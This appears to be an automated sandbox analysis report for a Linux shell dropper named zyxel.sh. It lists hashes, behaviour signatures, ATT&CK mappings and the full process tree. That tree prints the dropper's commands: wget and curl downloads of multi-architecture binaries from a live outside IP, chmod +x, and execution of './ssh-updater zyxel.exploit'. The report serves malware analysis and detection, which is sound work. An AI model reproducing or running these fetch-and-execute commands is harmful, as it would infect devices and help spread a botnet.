6325c8ac334cfdd103648f5065c2ea69e850e6f5d736ca6430d84724180f58bf

Analysis

max time kernel
5s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2026, 10:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
zyxel.sh
Size 2KB
Sample261027-mgqbaszz3l
SHA256 6325c8ac334cfdd103648f5065c2ea69e850e6f5d736ca6430d84724180f58bf
MD5 b700a0b5332ff09f0a41833935b294aa
SHA1 52b90f14812a64a5d78a85410eddc26e1161cf2a
SHA512 e28d3532da8ea3dd085019017e7a3580c00e39a2fcaf5825ffd547848c6a0adeba524a4c61c6ff0d2c6962644dfb06464faeb4d64375b3ac5c2bc71ae9f012e7
TLSH
T1BE5132C50773C9387969FD0F3DE68B14B9C4E4916CC2AA84B6EC79ED0ACEE28584C147
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
738	chmod
743	chmod
767	chmod
702	chmod
748	chmod
788	chmod
794	chmod
666	chmod
671	chmod
675	chmod
683	chmod
721	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/ssh-updater	667	zyxel.sh
/tmp/ssh-updater	672	zyxel.sh
/tmp/ssh-updater	676	zyxel.sh
/tmp/ssh-updater	684	zyxel.sh
/tmp/ssh-updater	704	zyxel.sh
/tmp/ssh-updater	722	zyxel.sh
/tmp/ssh-updater	739	zyxel.sh
/tmp/ssh-updater	744	zyxel.sh
/tmp/ssh-updater	749	zyxel.sh
/tmp/ssh-updater	769	zyxel.sh
/tmp/ssh-updater	789	zyxel.sh
/tmp/ssh-updater	795	zyxel.sh

Traces itself 4 IoCs

Traces itself to prevent debugging attempts

pid	Process
667	ssh-updater
672	ssh-updater
676	ssh-updater
684	ssh-updater

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-6.dat	upx

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	ssh-updater

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
726	wget
737	cat

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mewww.arc	wget
File opened for modification	/tmp/mewww.arc	curl
File opened for modification	/tmp/mewww.arm6	wget
File opened for modification	/tmp/mewww.arm7	wget
File opened for modification	/tmp/mewww.x86_64	wget
File opened for modification	/tmp/mewww.ppc	wget
File opened for modification	/tmp/mewww.m68k	wget
File opened for modification	/tmp/mewww.sh4	wget
File opened for modification	/tmp/mewww.arm	wget
File opened for modification	/tmp/ssh-updater	zyxel.sh
File opened for modification	/tmp/mewww.arm5	wget
File opened for modification	/tmp/mewww.x86	wget
File opened for modification	/tmp/mewww.mips	wget
File opened for modification	/tmp/mewww.mpsl	wget

/tmp/zyxel.sh
/tmp/zyxel.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:638
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm -O mewww.arm
  2⤵
  - Writes file to tmp directory
  PID:642
- /bin/cat
  cat mewww.arm
  2⤵
  PID:665
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:666
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:667
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm5 -O mewww.arm5
  2⤵
  - Writes file to tmp directory
  PID:668
- /bin/cat
  cat mewww.arm5
  2⤵
  PID:670
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:672
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm6 -O mewww.arm6
  2⤵
  - Writes file to tmp directory
  PID:673
- /bin/cat
  cat mewww.arm6
  2⤵
  PID:674
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:675
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:676
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm7 -O mewww.arm7
  2⤵
  - Writes file to tmp directory
  PID:677
- /bin/cat
  cat mewww.arm7
  2⤵
  PID:681
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:684
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.x86 -O mewww.x86
  2⤵
  - Writes file to tmp directory
  PID:687
- /bin/cat
  cat mewww.x86
  2⤵
  PID:700
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  PID:704
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.x86_64 -O mewww.x86_64
  2⤵
  - Writes file to tmp directory
  PID:706
- /bin/cat
  cat mewww.x86_64
  2⤵
  PID:719
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  PID:722
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.mips -O mewww.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/cat
  cat mewww.mips
  2⤵
  - System Network Configuration Discovery
  PID:737
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  PID:739
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.mpsl -O mewww.mpsl
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/cat
  cat mewww.mpsl
  2⤵
  PID:742
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  PID:744
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.ppc -O mewww.ppc
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/cat
  cat mewww.ppc
  2⤵
  PID:747
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  PID:749
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.m68k -O mewww.m68k
  2⤵
  - Writes file to tmp directory
  PID:751
- /bin/cat
  cat mewww.m68k
  2⤵
  PID:765
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  PID:769
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.sh4 -O mewww.sh4
  2⤵
  - Writes file to tmp directory
  PID:771
- /bin/cat
  cat mewww.sh4
  2⤵
  PID:786
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  PID:789
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arc -O mewww.arc
  2⤵
  - Writes file to tmp directory
  PID:791
- /usr/bin/curl
  curl -o mewww.arc http://45.66.228.20/bins/mewww.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/cat
  cat mewww.arc
  2⤵
  PID:793
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/ssh-updater
  ./ssh-updater zyxel.exploit
  2⤵
  PID:795

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

mewww.arm

Path /tmp/mewww.arm
Size 77KB
SHA256 e46dfe295c900777bd3a9da5ca9d96421ef5dd230bca7e764154c87318fd4720
MD5 f5166fac7bed1ea81796ccd223a1ceb2
SHA1 ff4682a57a1f7ffc9f3a164267dd3bbbe3d54135
SHA512 2cf3f92c0bd57f3ea5dbee6fc9fa738e4caab06356fdf755f7cfe1c2044ccd609d24b9eacb1902ac4c6462ac96af23e4633785de1954c8195023a2831be473a8
SSDEEP 1536:rk5mPBwBjc8PIGDV7qSjfZWo+jLNAk4rFj0rkCDP5Owft:jZwabepzRX+jexrdaP9F
TLSH
T1B7730268AA1E94EDD813993D250F46917CAE4A9DDF93783260A1F6C9AFD0FC71B60103
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssh-updater

Path /tmp/ssh-updater
Size 76KB
SHA256 06044efe3f19c9e3635689c7d817deb6ba4f7ad390fa742d8be17148a59dfa9b
MD5 0fe6e3276d9ce596cb9d4f110d73a4c1
SHA1 22f5d1a86db2ffd671fd90a4fecdfa0824a9a9e1
SHA512 896641aadb48c56434095098d5875b87faec606b4705161d5d31e1fa2ebc5709d419a0a9f140c2ddeeba91c1e5a83961a9e5d08ba03bfaf0a8743fe7288c7a20
SSDEEP 1536:r/j3B5/bw34cpR0i88W2VXYUB5fP8pD18IRf318wJAUMxhCxDMqCKwmNifRf+:Djx5/bwoc7X5WjUX8lKI9qJUih4DMqak
TLSH
T1777301C11857BA85C53E143BF97A8096F955BFB4CDB87F28790C8404DE80AB737B8A48
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssh-updater

Path /tmp/ssh-updater
Size 180KB
SHA256 48356530c9442e55c83b39e862189dbb675a608b27400c0b161f934c3519a9cd
MD5 2d83c5955c92cb01a8462d6bc346da66
SHA1 76211410d974f30443e5b9428447d51eb9bb6334
SHA512 321d0dadbbaa45af626573d088a93e92fbf163ae7a1ccbe3e70aab1cbb6316d0525c3cacf7768d753f0d9a2161a6e5d0f938525be84cf6316de66743a9d75192
SSDEEP 3072:xMrNSmyyYWgaaI+FKv1f9mKx82c9t7VmiBkA4qPAZVv0Phg/q6i9IHNOP:xcgmlLT91fMO85RVmEJg/QVP
TLSH
T17104AE60B015ADEBC51209B20024D4B507417DA053E3A2E5F49EF7EE4FA7ED1BEAD6B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads